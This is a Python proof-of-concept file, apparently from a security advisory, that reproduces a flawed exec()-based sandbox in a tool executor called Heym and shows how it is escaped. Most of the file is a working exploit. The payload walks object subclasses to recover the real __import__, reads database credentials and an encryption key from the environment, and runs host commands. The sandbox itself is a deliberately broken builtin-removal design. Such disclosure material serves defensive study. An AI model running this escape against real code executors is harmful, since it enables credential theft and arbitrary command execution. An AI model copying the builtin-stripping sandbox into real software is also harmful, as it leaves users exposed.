Vulnerable code sample

import os

# This represents the vulnerable state of the Heym Python tool executor before the fix.
# It attempts to create a sandbox by removing dangerous builtins but is susceptible
# to object introspection-based escapes.
def vulnerable_python_executor(user_code: str):
    """
    Executes user-provided Python code in a supposedly sandboxed environment.

    The sandbox is created by providing a custom `globals` dictionary to exec(),
    where the `__import__` function and other dangerous builtins are removed.
    """
    print("--- Starting Vulnerable Python Executor ---")

    # A very basic and flawed attempt to create a "safe" environment.
    # It removes __import__ to prevent loading modules like 'os' or 'subprocess'.
    safe_builtins = {
        k: v for k, v in __builtins__.__dict__.items()
        if k not in ['__import__', 'eval', 'exec', 'open', 'exit', 'quit']
    }

    restricted_globals = {"__builtins__": safe_builtins}

    try:
        # The user's code is executed here.
        exec(user_code, restricted_globals, {})
    except Exception as e:
        print(f"Executor caught an exception: {e}")

    print("--- Finished Vulnerable Python Executor ---")


# This represents the malicious code provided by an authenticated workflow author.
# The code uses introspection to escape the sandbox.
malicious_payload = """
print("Inside sandbox: Attempting to escape...")

# 1. Start with a simple object, like an empty tuple, to get its class.
# 2. Access its base class, which is 'object'.
# 3. Use __subclasses__() to get a list of all classes loaded in the interpreter.
#    This is the core of the introspection attack.
all_subclasses = ().__class__.__base__.__subclasses__()

print(f"Found {len(all_subclasses)} subclasses of 'object'. Searching for a way out...")

# 4. Iterate through the subclasses to find one that has the original,
#    unrestricted builtins in its global scope. A common target is a class
#    related to the site module or warnings framework.
unrestricted_import = None
for cls in all_subclasses:
    try:
        # The __init__ method's globals often contain the original builtins.
        if '__builtins__' in cls.__init__.__globals__:
            # Check if this __builtins__ dictionary contains the real __import__.
            if 'os' in cls.__init__.__globals__['__builtins__']:
                 # We found it! Recover the unrestricted __import__ function.
                 unrestricted_import = cls.__init__.__globals__['__builtins__']['__import__']
                 print(f"SUCCESS: Recovered __import__ from class '{cls.__name__}'")
                 break
    except (AttributeError, KeyError):
        # This class doesn't have what we need, so we continue.
        continue

if unrestricted_import:
    print("--- SANDBOX ESCAPED ---")

    # 5. Use the recovered __import__ to import the 'os' module.
    os_module = unrestricted_import('os')

    # 6. Access sensitive environment variables.
    db_creds = os_module.getenv('DATABASE_CREDENTIALS')
    api_key = os_module.getenv('SECRET_ENCRYPTION_KEY')

    print(f"Leaked DB Credentials: {db_creds}")
    print(f"Leaked API Key: {api_key}")

    # 7. Execute arbitrary host commands.
    print("\\nExecuting 'whoami' on the host system:")
    os_module.system('whoami')
    print("\\nExecuting 'ls -l /' on the host system:")
    os_module.system('ls -l /')
else:
    print("FAILED: Could not find a suitable class to recover __import__.")

"""

if __name__ == "__main__":
    # Simulate the backend environment having sensitive credentials loaded.
    os.environ['DATABASE_CREDENTIALS'] = 'postgres:supersecretpassword@db.heym.internal:5432/prod'
    os.environ['SECRET_ENCRYPTION_KEY'] = 'a_very_long_and_secret_key_for_encryption_12345'

    # Run the vulnerable executor with the attacker's payload.
    vulnerable_python_executor(malicious_payload)

    # Clean up environment variables.
    del os.environ['DATABASE_CREDENTIALS']
    del os.environ['SECRET_ENCRYPTION_KEY']